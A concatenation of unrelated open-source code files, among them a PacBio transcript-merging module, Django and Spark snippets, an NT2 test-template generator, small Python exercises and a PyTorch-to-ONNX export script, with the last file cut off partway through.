idx[max_index] = 0
K = K - 1
new_list = [0] * len(A)
for n, index in zip(A, idx):
new_list[index] = n
return new_list
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] |
src/cupcake/tofu/counting/combine_abundance_across_samples.py | milescsmith/cDNA_Cupcake | 0 | 197709 | __author__ = "<EMAIL>"
import re
import sys
from collections import defaultdict, namedtuple
from csv import DictWriter
from pathlib import Path
from typing import Any, Dict, List, Optional, Union
from Bio import SeqIO
from bx.intervals import IntervalTree
from bx.intervals.cluster import ClusterTree
from cupcake import cupcake_logger as logger
from cupcake.sequence import GFF
from cupcake.tofu import compare_junctions
seqid_rex = re.compile(r"(\\S+\\.\\d+)\\.(\\d+)")
MatchRecord = namedtuple(
"MatchRecord", ["ref_id", "addon_id", "rec", "members", "seqrec"]
)
def find_representative_in_iso_list(records: List[GFF.gmapRecord]) -> GFF.gmapRecord:
"""
:param records: list of GMAPRecord
:return: representative record that is (a) the most number of exons or then (b) longest
"""
rep = records[0]
for r in records[1:]:
if len(rep.ref_exons) < len(r.ref_exons) or (rep.end - rep.start) < (
r.end - r.start
):
rep = r
return rep
def sanity_check_seqids(seqids: List[str]):
for seqid in seqids:
m = seqid_rex.match(seqid)
if m is None:
logger.error(
f"Expected ID format (ex: PB.1.2) not followed by {seqid}! Abort!"
)
sys.exit(-1)
def get_fusion_id(seqid: str) -> str:
m = seqid_rex.match(seqid)
return m.group(1)
def write_reclist_to_gff_n_info(
rec_list: Dict[str, Any],
final_prefix: str,
ref_name: str,
addon_name: str,
use_fq: bool = False,
) -> Dict[str, str]:
# now go through the rec list and figure out in what order we are outputting the total records
tree = defaultdict(lambda: {"+": ClusterTree(0, 0), "-": ClusterTree(0, 0)})
tree_keys_numeric = set()
tree_keys_alpha = set()
for i, match_rec in enumerate(rec_list):
tree[match_rec.rec.chr][match_rec.rec.strand].insert(
match_rec.rec.start, match_rec.rec.end, i
)
for chrom in tree:
try:
k = int(chrom)
tree_keys_numeric.add(k)
except ValueError:
tree_keys_alpha.add(chrom)
tree_keys = sorted(tree_keys_numeric) + sorted(tree_keys_alpha)
writer_info = DictWriter(
Path(f"{final_prefix}.mega_info.txt").open("w"),
fieldnames=["superPBID", ref_name, addon_name],
delimiter="\t",
)
writer_info.writeheader()
if use_fq:
f_fq = Path(f"{final_prefix}.rep.fq")
with open(f"{final_prefix}.gff", "w") as f_gff, open(
f"{final_prefix}.group.txt", "w"
) as f_group:
new_group_info = {}
pb_i = 0
for _chr in tree_keys:
for _strand in ("+", "-"):
for *_, _indices in tree[_chr][_strand].getregions():
# further sort these records by (start, end, num_exons)
_indices.sort(
key=lambda i: (
rec_list[i].rec.start,
rec_list[i].rec.end,
len(rec_list[i].rec.ref_exons),
)
)
pb_i += 1
for pb_j, recs_index in enumerate(_indices):
pbid = f"PB.{pb_i}.{pb_j + 1}"
match_rec = rec_list[recs_index]
new_group_info[pbid] = match_rec.members
match_rec.rec.seqid = pbid
GFF.write_collapseGFF_format(f_gff, match_rec.rec)
writer_info.writerow(
{
"superPBID": pbid,
ref_name: match_rec.ref_id,
addon_name: match_rec.addon_id,
}
)
f_group.write(f"{pbid}\t{','.join(match_rec.members)}\n")
if use_fq:
match_rec.seqrec.id = pbid
match_rec.seqrec.description = ""
SeqIO.write(match_rec.seqrec, f_fq, "fastq")
return new_group_info
class MegaPBTree:
"""
Structure for maintaining a non-redundant set of gene annotations
Used to combine with different collapsed GFFs from different samples
"""
def __init__(
self,
gff_filename: str,
group_filename: str,
internal_fuzzy_max_dist: int = 0,
self_prefix: Optional[str] = None,
allow_5merge: bool = False,
fastq_filename: Optional[str] = None,
max_3_diff: Optional[int] = None,
):
self.gff_filename = gff_filename
self.group_filename = group_filename
self.self_prefix = self_prefix
self.internal_fuzzy_max_dist = internal_fuzzy_max_dist
self.max_3_diff = max_3_diff
self.allow_5merge = allow_5merge
self.record_d = {r.seqid: r for r in GFF.collapseGFFReader(gff_filename)}
# sanity_check_seqids(self.record_d.keys()) # sanity check all IDs look like PB.1.2
self.tree = defaultdict(
lambda: {"+": IntervalTree(), "-": IntervalTree()}
) # chr --> strand --> tree
self.fastq_dict = None
if fastq_filename is not None:
self.fastq_dict = MegaPBTree.read_fastq_to_dict(fastq_filename)
# print >> sys.stderr, "self.internal_fuzzy_max_dist is", internal_fuzzy_max_dist
# raw_input()
self.read_gff_as_interval_tree()
self.group_info = MegaPBTree.read_group(
self.group_filename, self.self_prefix
) # ex: PB.1.1 --> [ RatHeart|i3_c123.... ]
def read_gff_as_interval_tree(self):
"""
Read a collapsed GFF file into an IntervalTree
"""
for r in GFF.collapseGFFReader(self.gff_filename):
self.tree[r.chr][r.strand].insert(r.start, r.end, r)
@staticmethod
def read_fastq_to_dict(
fastq_filename: Union[str, Path]
) -> Dict[str, SeqIO.SeqRecord]:
fastq_dict = {}
for r in SeqIO.parse(open(fastq_filename), "fastq"):
fastq_dict[r.id.split("|")[0]] = r
return fastq_dict
@staticmethod
def read_group(
group_filename: Union[str, Path], group_prefix: str
) -> Dict[str, List[str]]:
group_info = {}
with open(group_filename) as f:
for line in f:
pbid, members = line.strip().split("\t")
if group_prefix is None:
group_info[pbid] = list(members.split(","))
else:
group_info[pbid] = [
f"{group_prefix}|{x}" for x in members.split(",")
]
return group_info
def match_record_to_tree(self, r: GFF.gmapRecord) -> GFF.gmapRecord:
"""
r --- GMAPRecord
tree --- dict of chromosome --> strand --> IntervalTree
If exact match (every exon junction) or 5' truncated (allow_5merge is True), YIELD the matching GMAPRecord(s)
*NOTE/UPDATE*: could have multiple matches! )
"""
# if r.chr=='chr17' and r.start > 39604000:
# pdb.set_trace()
matches = self.tree[r.chr][r.strand].find(r.start, r.end)
for r2 in matches:
r.segments = r.ref_exons # the incoming entry
r2.segments = r2.ref_exons # an existing entries in the tree
n1 = len(r.segments) # how many exons?
n2 = len(r2.segments)
three_end_is_match = (
self.max_3_diff is None
or (r.strand == "+" and abs(r.end - r2.end) <= self.max_3_diff)
or (r.strand == "-" and abs(r.start - r2.start) <= self.max_3_diff)
) # either nothing, so whether the 3' ends "match" (within reason)
last_junction_match = False
if (
n1 == 1
): # essentially, if there is just the one exon for both, assume they are the same
if n2 == 1:
last_junction_match = True
else:
last_junction_match = False
else:
if n2 == 1:
last_junction_match = False
else:
if r.strand == "+":
last_junction_match = (
abs(r.segments[-1].start - r2.segments[-1].start)
<= self.internal_fuzzy_max_dist
) and (
abs(r.segments[0].end - r2.segments[0].end)
<= self.internal_fuzzy_max_dist
) # match if the difference in the positions of either end of the first and last exon are under a certain distance
else:
last_junction_match = (
abs(r.segments[0].end - r2.segments[0].end)
<= self.internal_fuzzy_max_dist
) and (
abs(r.segments[1].start - r2.segments[1].start)
<= self.internal_fuzzy_max_dist
)
# How well do the exon junctions overlap?
# Exact matches?
if self.allow_5merge:
if len(r.segments) > len(r2.segments):
a, b = r, r2
else:
a, b = r2, r
else:
b, a = r, r2
# rearranged so that `compare_junctions` is run once, not twice
junct_compare = compare_junctions.compare_junctions(
b, a, internal_fuzzy_max_dist=self.internal_fuzzy_max_dist
)
if junct_compare == "exact": # is a match!
if three_end_is_match:
yield r2
# check if the shorter one is a subset of the longer one
elif self.allow_5merge:
# a is the longer one, b is the shorter one
if junct_compare == "subset":
# we only know that a is a subset of b, verify that it is actually 5' truncated (strand-sensitive!)
# if + strand, last junction of (a,b) should match and 3' end not too diff
# if - strand, first exon of a should match first exon of b AND the next exon don't overlap
if three_end_is_match and last_junction_match:
yield r2
def add_sample(
self,
gff_filename: Union[str, Path],
group_filename: Union[str, Path],
sample_prefix: str,
output_prefix: str,
fastq_filename: Union[str, Path] = None,
) -> None:
combined = [] # list of (<matches to r2 or None>, r2)
unmatched_recs = set(self.record_d.keys())
for r in GFF.collapseGFFReader(gff_filename):
# for each collapsed transcript, find records that overlap
match_rec_list = list(self.match_record_to_tree(r))
if len(match_rec_list) > 0: # found match(es)! put longer of r1/r2 in
# if len(match_rec_list) > 1: pdb.set_trace() #DEBUG
combined.append((match_rec_list, r))
for match_rec in match_rec_list:
try:
unmatched_recs.remove(match_rec.seqid)
except KeyError:
pass # already deleted, OK, this can happen
else: # r is not present in current tree
combined.append((None, r))
# put whatever is left from the tree in
for seqid in unmatched_recs:
combined.append(([self.record_d[seqid]], None))
# create a ClusterTree to re-calc the loci/transcripts
final_tree = defaultdict(
lambda: {"+": ClusterTree(0, 0), "-": ClusterTree(0, 0)}
)
for i, (r1s, r2) in enumerate(combined):
if r1s is None:
final_tree[r2.chr][r2.strand].insert(r2.start, r2.end, i)
else:
if r2 is not None:
rep = find_representative_in_iso_list(r1s + [r2])
else:
rep = find_representative_in_iso_list(r1s)
final_tree[rep.chr][rep.strand].insert(rep.start, rep.end, i)
self.write_cluster_tree_as_gff(
rec_list=combined,
group_filename2=group_filename,
sample_prefix2=sample_prefix,
output_prefix=output_prefix,
fastq_filename2=fastq_filename,
)
def write_cluster_tree_as_gff(
self,
rec_list: List[GFF.gmapRecord],
group_filename2: Union[str, Path],
sample_prefix2: str,
output_prefix: str,
fastq_filename2: Union[str, Path] = None,
) -> Dict[str, str]:
"""
Write ClusterTree (chr --> dict --> (start, end, rec_list_index)) as collapsedGFF format
Returns --- a new group_info!!!
"""
use_fq = fastq_filename2 is not None and self.fastq_dict is not None
if use_fq:
fastq_dict2 = MegaPBTree.read_fastq_to_dict(fastq_filename2)
group_info2 = MegaPBTree.read_group(group_filename2, sample_prefix2)
# currently: rec_list is (r1s, r2) where r1s, r2 are records and could be None
# make rec_list into list of MatchRec (ref_id, addon_id, representative rec, seqrec, group_info members)
new_rec_list = []
for r1s, r2 in rec_list:
if r2 is None:
for r1 in r1s:
new_rec_list.append(
MatchRecord(
ref_id=r1.seqid,
addon_id="NA",
rec=r1,
members=self.group_info[r1.seqid],
seqrec=self.fastq_dict[r1.seqid] if use_fq else None,
)
)
elif r1s is None:
new_rec_list.append(
MatchRecord(
ref_id="NA",
addon_id=r2.seqid,
rec=r2,
members=group_info2[r2.seqid],
seqrec=fastq_dict2[r2.seqid] if use_fq else None,
)
)
else:
for r1 in r1s:
if len(r1s) > 1:
continue
# logger.info(f"matching {r1} to {r2}")
rep = find_representative_in_iso_list([r1, r2])
new_rec_list.append(
MatchRecord(
ref_id=r1.seqid,
addon_id=r2.seqid,
rec=rep,
members=self.group_info[r1.seqid] + group_info2[r2.seqid],
seqrec=self.fastq_dict[rep.seqid] if use_fq else None,
)
)
new_group_info = write_reclist_to_gff_n_info(
new_rec_list, output_prefix, self.self_prefix, sample_prefix2, use_fq
)
return new_group_info
class MegaPBTreeFusion(MegaPBTree):
def __init__(
self,
gff_filename: Union[str, Path],
group_filename: Union[str, Path],
internal_fuzzy_max_dist: int = 0,
self_prefix: str = None,
fastq_filename: Union[str, Path] = None,
fusion_max_dist: int = 10,
):
"""
Differences with non-fusion MegaPBTree:
1. allow_5merge is always FALSE. Not a parameter.
2. fusion_max_dist --- maximum allowed distance on internal fusion sites to be called as equivalent fusions
"""
super().__init__(
gff_filename,
group_filename,
internal_fuzzy_max_dist,
self_prefix,
False,
fastq_filename,
)
self.fusion_max_dist = fusion_max_dist
# ex: PBfusion.1 -> [PBfusion.1.1, PBfusion.1.2]
self.record_d_fusion = {
fusion_id: records
for fusion_id, records in GFF.collapseGFFFusionReader(gff_filename)
}
def junction_match_check_5(self, r1: GFF.gmapRecord, r2: GFF.gmapRecord) -> bool:
if r1.strand == "+":
return (
abs(r1.ref_exons[0].start - r2.ref_exons[0].start)
<= self.fusion_max_dist
)
else:
return (
abs(r1.ref_exons[-1].end - r2.ref_exons[-1].end) <= self.fusion_max_dist
)
def junction_match_check_3(self, r1: GFF.gmapRecord, r2: GFF.gmapRecord) -> bool:
if r1.strand == "+":
return (
abs(r1.ref_exons[-1].end - r2.ref_exons[-1].end) <= self.fusion_max_dist
)
else:
return (
abs(r1.ref_exons[0].start - r2.ref_exons[0].start)
<= self.fusion_max_dist
)
def match_record_to_tree(
self, r: GFF.gmapRecord, check_5_dist: bool, check_3_dist: bool
) -> List[str]:
"""
Matching a single record (locus).
Major diff from non-fusion version:
1. there could be multiple matches!
2. no 5merge allowed
3. additionally checks if the 5'/3' ends don't disagree too much (fusion_max_dist). this is used for fusion junctions.
4. need to take care that fusions can be multi-chromosome! write output correctly!!!
"""
matches = self.tree[r.chr][r.strand].find(r.start, r.end)
result = []
for r2 in matches:
r.segments = r.ref_exons
r2.segments = r2.ref_exons
if (
compare_junctions.compare_junctions(
r, r2, internal_fuzzy_max_dist=self.internal_fuzzy_max_dist
)
== "exact"
and (not check_5_dist or self.junction_match_check_5(r, r2))
and (not check_3_dist or self.junction_match_check_3(r, r2))
): # is a match!
result.append(r2.seqid)
return result
def check_records_match(
self, records1: GFF.gmapRecord, records2: GFF.gmapRecord
) -> bool:
"""
records1, records2 are two fusion records.
They match iff:
1. same number of records
2. each record (a loci) matches
"""
if len(records1) != len(records2):
return False
i = 0
for r1, r2 in zip(records1, records2):
# check: chr, strand, exons match
if r1.chr != r2.chr or r1.strand != r2.strand:
return False
r1.segments = r1.ref_exons
r2.segments = r2.ref_exons
if (
compare_junctions.compare_junctions(
r1, r2, internal_fuzzy_max_dist=self.internal_fuzzy_max_dist
)
!= "exact"
):
return False
if i == 0: # first record, only need 3' to agree
if not self.junction_match_check_3(r1, r2):
return False
elif i == len(records1) - 1: # last record, only need 5' to agree
if not self.junction_match_check_5(r1, r2):
return False
else:
if not self.junction_match_check_5(r1, r2):
return False
if not self.junction_match_check_3(r1, r2):
return False
i += 1
return True
def match_fusion_record(
self, records: List[GFF.gmapRecord]
) -> Optional[GFF.gmapRecord]:
"""
records --- in order, the records of a single fusion.
"""
good = []
# match the first record, requiring additionally that the precise 3' end matches
cands = self.match_record_to_tree(
records[0], check_5_dist=False, check_3_dist=True
)
# for each candidate (ex: PB.8.1, extract the full set of records and match them)
for cand in cands:
m = seqid_rex.match(cand)
fusion_id = m.group(1)
if self.check_records_match(records, self.record_d_fusion[fusion_id]):
good.append(fusion_id)
if len(good) == 0:
return None
elif len(good) == 1:
return good[0]
else:
logger.error(
"ERROR! more than one possible candidate in match_fusion_record! DEBUG."
)
logger.error(f"MATCHED: {good}")
sys.exit(-1)
def add_sample(
self,
gff_filename: Union[str, Path],
group_filename: Union[str, Path],
sample_prefix: str,
output_prefix: str,
fastq_filename: Optional[Union[str, Path]] = None,
) -> None:
combined = (
[]
) # list of (r1 if r2 is None | r2 if r1 is None | longer of r1 or r2 if both not None)
unmatched_recs = list(self.record_d_fusion.keys())
for _, records in GFF.collapseGFFFusionReader(gff_filename):
match_seqid = self.match_fusion_record(records)
if match_seqid is not None:
combined.append((self.record_d_fusion[match_seqid], records))
try:
unmatched_recs.remove(match_seqid)
except ValueError:
pass # already deleted, OK, this happens for single-exon transcripts
else: # r is not present in current tree
combined.append((None, records))
# put whatever is left from the tree in
for seqid in unmatched_recs:
combined.append((self.record_d_fusion[seqid], None))
# create a ClusterTree to re-calc the loci/transcripts
final_tree = defaultdict(
lambda: {"+": ClusterTree(0, 0), "-": ClusterTree(0, 0)}
)
for i, (r1s, r2s) in enumerate(combined):
if r2s is None or (
r1s is not None
and r1s[0].end - r1s[0].start > r2s[0].end - r2s[0].start
):
final_tree[r1s[0].chr][r1s[0].strand].insert(
r1s[0].start, r1s[0].end, i
)
else:
final_tree[r2s[0].chr][r2s[0].strand].insert(
r2s[0].start, r2s[0].end, i
)
self.write_cluster_tree_as_gff(
final_tree,
combined,
group_filename,
sample_prefix,
output_prefix,
fastq_filename2=fastq_filename,
)
def write_cluster_tree_as_gff(
self,
cluster_tree: ClusterTree,
rec_list: List[GFF.gmapRecord],
group_filename2: Union[str, Path],
sample_prefix2: str,
output_prefix: str,
fastq_filename2: Optional[Union[str, Path]] = None,
) -> Dict[str, str]:
"""
Write ClusterTree (chr --> dict --> (start, end, rec_list_index)) as collapsedGFF format
Returns --- a new group_info!!!
"""
if fastq_filename2 is not None:
fastq_dict2 = MegaPBTree.read_fastq_to_dict(fastq_filename2)
f_fastq = Path(f"{output_prefix}.rep.fq")
group_info2 = MegaPBTree.read_group(group_filename2, sample_prefix2)
new_group_info = {}
with open(f"{output_prefix}.mega_info.txt", "w") as f_mgroup:
f_mgroup.write(f"pbid\t{self.self_prefix}\t{sample_prefix2}\n")
fusion_index = 0
chroms = list(cluster_tree.keys())
chroms.sort()
for (
k
) in (
chroms
): # IMPORTANT: for fusion, this is *just* the chrom of the first record! Fusions can be multi-chrom
for strand in ("+", "-"):
for *_, rec_indices in cluster_tree[k][strand].getregions():
for i in rec_indices:
fusion_index += 1
tID = f"PBfusion.{fusion_index}"
r1s, r2s = rec_list[i]
if r1s is None: # r2s is not None
recs = r2s
r2_fusion_id = get_fusion_id(r2s[0].seqid)
new_group_info[tID] = group_info2[r2_fusion_id]
f_mgroup.write(f"{tID}\tNA\t{r2_fusion_id}\n")
if fastq_filename2 is not None:
seqrec = fastq_dict2[r2_fusion_id]
elif r2s is None: # r1 is not None
recs = r1s
r1_fusion_id = get_fusion_id(r1s[0].seqid)
new_group_info[tID] = self.group_info[r1_fusion_id]
f_mgroup.write(f"{tID}\t{r1_fusion_id}\tNA\n")
if fastq_filename2 is not None:
seqrec = self.fastq_dict[r1_fusion_id]
else: # both r1, r2 are not empty
r1_fusion_id = get_fusion_id(r1s[0].seqid)
r2_fusion_id = get_fusion_id(r2s[0].seqid)
r1_len = sum(x.end - x.start for x in r1s)
r2_len = sum(x.end - x.start for x in r2s)
if r1_len > r2_len:
recs = r1s
if fastq_filename2 is not None:
seqrec = self.fastq_dict[r1_fusion_id]
else:
recs = r2s
if fastq_filename2 is not None:
seqrec = fastq_dict2[r2_fusion_id]
new_group_info[tID] = (
self.group_info[r1_fusion_id]
+ group_info2[r2_fusion_id]
)
f_mgroup.write(
f"{tID}\t{r1_fusion_id}\t{r2_fusion_id}\n"
)
if fastq_filename2 is not None:
seqrec.id = tID
SeqIO.write(seqrec, open(f_fastq, "w"), "fastq")
with open(f"{output_prefix}.group.txt", "w") as f_group:
f_group.write(
f"{tID}\t{','.join(new_group_info[tID])}\n"
)
with open(f"{output_prefix}.gff", "w") as f_out:
# now write out the fusion transcript
for j, r in enumerate(recs):
f_out.write(
f'{r.chr}\tPacBio\ttranscript\t{r.start + 1}\t{r.end}\t.\t{strand}\t.\tgene_id "{tID}"; transcript_id "{tID}.{j + 1}";\n'
)
for exon in r.ref_exons:
f_out.write(
f'{r.chr}\tPacBio\texon\t{exon.start + 1}\t{exon.end}\t.\t{strand}\t.\tgene_id "{tID}"; transcript_id "{tID}.{j + 1}";\n'
)
return new_group_info
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] |
QuizApp/admin.py | mokosaur/legit-quizzes | 1 | 40599 | from django.contrib import admin
from .models import Label, Choice, Quiz, Question, Answer, Submit
# Register your models here.
admin.site.register(Quiz)
admin.site.register(Question)
admin.site.register(Answer)
admin.site.register(Label)
admin.site.register(Submit)
admin.site.register(Choice) | [
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splearn/cluster/tests/test_k_means.py | dtrckd/sparkit-learn | 1,219 | 46310 | import numpy as np
from sklearn.cluster import KMeans
from splearn.cluster import SparkKMeans
from splearn.utils.testing import SplearnTestCase, assert_array_almost_equal
class TestKMeans(SplearnTestCase):
def test_same_centroids(self):
X, y, X_rdd = self.make_blobs(centers=4, n_samples=200000)
local = KMeans(n_clusters=4, init='k-means++', random_state=42)
dist = SparkKMeans(n_clusters=4, init='k-means++', random_state=42)
local.fit(X)
dist.fit(X_rdd)
local_centers = np.sort(local.cluster_centers_, axis=0)
dist_centers = np.sort(dist.cluster_centers_, axis=0)
assert_array_almost_equal(local_centers, dist_centers, decimal=4)
| [
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13,
2
] |
dmatch/logger.py | mcrts/dmatch | 1 | 188182 | #!/usr/bin/env python
# -*- coding: utf-8 -*
import sys
import logging
log = logging.getLogger("dmatch")
log.setLevel(logging.INFO)
formatter = logging.Formatter('[%(asctime)s] {%(filename)s:%(lineno)d} %(levelname)s - %(message)s')
ch = logging.StreamHandler()
ch.setFormatter(formatter)
log.addHandler(ch) | [
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calaccess_website/views/docs/__init__.py | california-civic-data-coalition/django-calaccess-downloads | 3 | 134631 | from .calaccess import (
CalAccessFileList,
CalAccessFileDetail,
CalAccessFileDownloadsList,
)
from .ccdc import (
CcdcFileList,
CcdcFileDetail,
CcdcFileDownloadsList,
)
from .forms import FormList, FormDetail
from .official import OfficialDocumentation
from .other import DocumentationIndex, FAQ
__all__ = (
'CalAccessFileList',
'CalAccessFileDetail',
'CalAccessFileDownloadsList',
'CcdcFileList',
'CcdcFileDetail',
'CcdcFileDownloadsList',
'DocumentationIndex',
'FAQ',
'FormList',
'FormDetail',
'OfficialDocumentation',
)
| [
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] |
script/python/lib/exhaust_generation/exhaustive_tpls.py | timblechmann/nt2 | 2 | 28627 | #! /usr/bin/env python
# -*- coding: iso-8859-15 -*-
##############################################################################
# Copyright 2003 & onward LASMEA UMR 6602 CNRS/Univ. Clermont II
# Copyright 2009 & onward LRI UMR 8623 CNRS/Univ Paris Sud XI
#
# Distributed under the Boost Software License, Version 1.0
# See accompanying file LICENSE.txt or copy at
# http://www.boost.org/LICENSE_1_0.txt
##############################################################################
"""generation of an exhaustive test unit
"""
__author__ = "<NAME> (<EMAIL>)"
__version__ = "$Revision: 1.0 $"
__date__ = "$Date: 2011 $"
__copyright__ = "<NAME>"
__license__ = "Boost Software License, Version 1.0"
class Exhaustive_data(object) :
Tpl = {
'scalar' : {
},
'simd' : {
'global_header_txt' : '\n'.join([
'////////////////////////////////////////////////////////////////////////',
'// exhaustive test in simd mode for functor $prefix$::$name$',
'////////////////////////////////////////////////////////////////////////',
'#include <nt2/include/functions/$name$.hpp>',
'',
'#include <nt2/include/functions/iround.hpp>',
'#include <nt2/include/functions/load.hpp>',
'#include <nt2/include/functions/min.hpp>',
'#include <nt2/include/functions/splat.hpp>',
'#include <nt2/include/functions/successor.hpp>',
'#include <nt2/include/functions/ulpdist.hpp>',
'',
'#include <nt2/include/constants/real.hpp>',
'',
'#include <nt2/sdk/meta/cardinal_of.hpp>',
'#include <nt2/sdk/meta/as_integer.hpp>',
'',
'#include <iostream>',
'',
'typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;',
]),
'typ_repfunc_txt' : '\n'.join([
'static inline ',
'typename nt2::meta::call<nt2::tag::$name$_($typ$)>::type',
'repfunc(const $typ$ & a0)',
'{',
' return $repfunc$;',
'}',
]),
'test_func_forwarding_txt' : '\n'.join([
'template <class T>',
'void exhaust_test_$name$(const T& mini,const T& maxi);'
]),
'test_func_call_txt' : '\n'.join([
' exhaust_test_$name$($mini$,$maxi$);'
]),
'main_beg_txt' : '\n'.join([
'int main(){',
'{',
]),
'main_end_txt' : '\n'.join([
' return 0;',
'}',
'',
]),
'test_func_typ_txt' : '\n'.join([
'template <>',
'void exhaust_test_$name$<$typ$>(const $typ$& mini,const $typ$& maxi)',
' {',
' typedef boost::simd::native<$typ$,ext_t> n_t;',
' typedef typename nt2::meta::as_integer<n_t>::type in_t;',
' typedef typename nt2::meta::call<nt2::tag::$name$_($typ$)>::type r_t;',
' typedef typename nt2::meta::call<nt2::tag::$name$_(n_t)>::type r_t;',
' $typ$ mini = $mini$;',
' $typ$ maxi = $maxi$;',
' const nt2::uint32_t N = nt2::meta::cardinal_of<n_t>::value;',
' const in_t vN = nt2::splat<in_t>(N);',
' const nt2::uint32_t M = 10;',
' nt2::uint32_t histo[M+1];',
' for(nt2::uint32_t i = 0; i < M; i++) histo[i] = 0;',
' float a[N];',
' a[0] = mini;',
' for(nt2::uint32_t i = 1; i < N; i++)',
' a[i] = nt2::successor(a[i-1], 1);',
' n_t a0 = nt2::load<n_t>(&a[0],0);',
' nt2::uint32_t k = 0,j = 0;',
' std::cout << "a line of points to wait for... be patient!" << std::endl;',
' for(; a0[N-1] < maxi; a0 = nt2::successor(a0, vN))',
' {',
' n_t z = nt2::$name$(a0);',
' for(nt2::uint32_t i = 0; i < N; i++)',
' {',
' float v = repfunc(a0[i]);',
' float sz = z[i];',
' ++histo[nt2::min(M, nt2::iround(2*nt2::ulpdist(v, sz)))];',
' ++k;',
' if (k%100000000 == 0){',
' std::cout << "." << std::flush; ++j;',
' if (j == 80){std::cout << std::endl; j = 0;}',
' }',
' }',
' }',
' std::cout << "exhaustive test for " << std::endl;',
' std::cout << " nt2::$name$ versus $repfunc$ " << std::endl;',
' std::cout << " in $mode$ mode and $typ$ type" << std::endl;',
' for(nt2::uint32_t i = 0; i < M; i++)',
' std::cout << i/2.0 << " -> " << histo[i] << std::endl;',
' std::cout << k << " values computed" << std::endl;',
' std::cout << std::endl;',
' std::cout << std::endl;',
' for(nt2::uint32_t i = 0; i < M; i++)',
' std::cout << i/2.0 << " -> "',
' << (histo[i]*100.0/k) << "%" << std::endl;',
' }',
'',
]),
}
}
def __init__(self) :
self.tpl = Exhaustive_data.Tpl
if __name__ == "__main__" :
print __doc__
from pprint import PrettyPrinter
PrettyPrinter().pprint(Exhaustive_data.Tpl)
PrettyPrinter().pprint(Exhaustive_data().tpl)
| [
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WEEKS/CD_Sata-Structures/_MISC/algorithms/map/is_anagram.py | webdevhub42/Lambda | 0 | 166947 | <reponame>webdevhub42/Lambda
##-------------------------------------------------------------------
"""
Given two strings s and t , write a function to determine if t is an anagram of s.
Example 1:
Input: s = "anagram", t = "nagaram"
Output: true
Example 2:
Input: s = "rat", t = "car"
Output: false
Note:
You may assume the string contains only lowercase alphabets.
Reference: https://leetcode.com/problems/valid-anagram/description/
##-------------------------------------------------------------------
"""
##-------------------------------------------------------------------
"""
def is_anagram(s, t):
"""
:type s: str
##-------------------------------------------------------------------
"""
:rtype: bool
"""
maps = {}
mapt = {}
for i in s:
maps[i] = maps.get(i, 0) + 1
for i in t:
mapt[i] = mapt.get(i, 0) + 1
return maps == mapt
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exercices/clock/clock.py | gkaeso/exercism-python | 0 | 141177 | <reponame>gkaeso/exercism-python<filename>exercices/clock/clock.py
class Clock:
def __init__(self, hour, minute):
self.total: int = hour * 60 + minute # in minutes
def __repr__(self):
hour, minute = (self.total // 60) % 24, self.total % 60
return '{:02d}:{:02d}'.format(hour, minute)
def __eq__(self, other):
return repr(self) == repr(other)
def __add__(self, minutes: int):
self.total += minutes
return self
def __sub__(self, minutes: int):
self.total -= minutes
return self
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misc/angleutil.py | SpencerZPoole/pythontools | 1 | 189851 | <reponame>SpencerZPoole/pythontools<gh_stars>1-10
from math import radians, sin, cos
def apply_angle(angle, dist, *args):
x, y = args[0] if len(args) == 1 else args
return x + dist * radians(cos(angle)), y + dist * radians(sin(angle))
class Angle:
__slots__ = 'angle', 'initial_angle', 'last'
def __init__(self, initial_angle=0):
self.initial_angle = initial_angle
self.angle = initial_angle
self.last = initial_angle
def rotate(self, angle, relative=False):
"""
rotates based on [angle], use floats for precise rotations
"""
self.last = self.angle
if relative:
self.angle = (self.angle + angle) % 361
else:
self.angle = angle % 361
def copy(self):
inst = self.__class__(self.angle)
inst.initial_angle, inst.last = self.initial_angle, self.last
return inst
def apply_to(self, pos, dist):
try:
x, y = pos
except TypeError:
x, y = pos.x, pos.y
return x + dist * radians(cos(self.angle)), y + dist * radians(sin(self.angle))
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343,
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1320,
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2971,
5834,
29898,
5223,
29898,
1311,
29889,
2521,
876,
13,
2
] |
network/pytorch2onnx.py | MRsoymilk/toy-car | 0 | 7733 | import Net
import configparser
import torch
from PIL import Image
config = configparser.ConfigParser()
config.read('./config.ini')
MODEL = config.get("Network", "Model")
transformations = Net.transformations
net = Net.Net()
net.eval()
net.load_state_dict(torch.load(MODEL))
image = Image.open("./html/rwby.jpg")
image = transformations(image).float()
image = torch.autograd.Variable(image[None, ...])
torch.onnx.export(
net,
image,
MODEL.split('pth')[0] + 'onnx',
export_params=True,
output_names=['toy-car']
)
print("finish")
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4951,
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2
] |
tests/model/pydantic/test_types.py | PieInsurance/datamodel-code-generator | 0 | 195562 | <gh_stars>0
import pytest
from datamodel_code_generator import PythonVersion
from datamodel_code_generator.imports import Import
from datamodel_code_generator.model.pydantic.imports import (
IMPORT_CONDECIMAL,
IMPORT_CONFLOAT,
IMPORT_CONINT,
IMPORT_CONSTR,
IMPORT_NEGATIVE_FLOAT,
IMPORT_NEGATIVE_INT,
IMPORT_POSITIVE_FLOAT,
IMPORT_POSITIVE_INT,
)
from datamodel_code_generator.model.pydantic.types import DataTypeManager
from datamodel_code_generator.types import DataType, Types
@pytest.mark.parametrize(
'types,params,data_type',
[
(Types.integer, {}, DataType(type='int')),
(
Types.integer,
{'maximum': 10},
DataType(
type='conint', is_func=True, kwargs={'le': 10}, imports=[IMPORT_CONINT]
),
),
(
Types.integer,
{'exclusiveMaximum': 10},
DataType(
type='conint', is_func=True, kwargs={'lt': 10}, imports=[IMPORT_CONINT]
),
),
(
Types.integer,
{'minimum': 10},
DataType(
type='conint', is_func=True, kwargs={'ge': 10}, imports=[IMPORT_CONINT]
),
),
(
Types.integer,
{'exclusiveMinimum': 10},
DataType(
type='conint', is_func=True, kwargs={'gt': 10}, imports=[IMPORT_CONINT]
),
),
(
Types.integer,
{'multipleOf': 10},
DataType(
type='conint',
is_func=True,
kwargs={'multiple_of': 10},
imports=[IMPORT_CONINT],
),
),
(
Types.integer,
{'exclusiveMinimum': 0},
DataType(type='PositiveInt', imports=[IMPORT_POSITIVE_INT]),
),
(
Types.integer,
{'exclusiveMaximum': 0},
DataType(type='NegativeInt', imports=[IMPORT_NEGATIVE_INT]),
),
],
)
def test_get_data_int_type(types, params, data_type):
assert DataTypeManager().get_data_int_type(types, **params) == data_type
@pytest.mark.parametrize(
'types,params,data_type',
[
(Types.float, {}, DataType(type='float')),
(
Types.float,
{'maximum': 10},
DataType(
type='confloat',
is_func=True,
kwargs={'le': 10},
imports=[IMPORT_CONFLOAT],
),
),
(
Types.float,
{'exclusiveMaximum': 10},
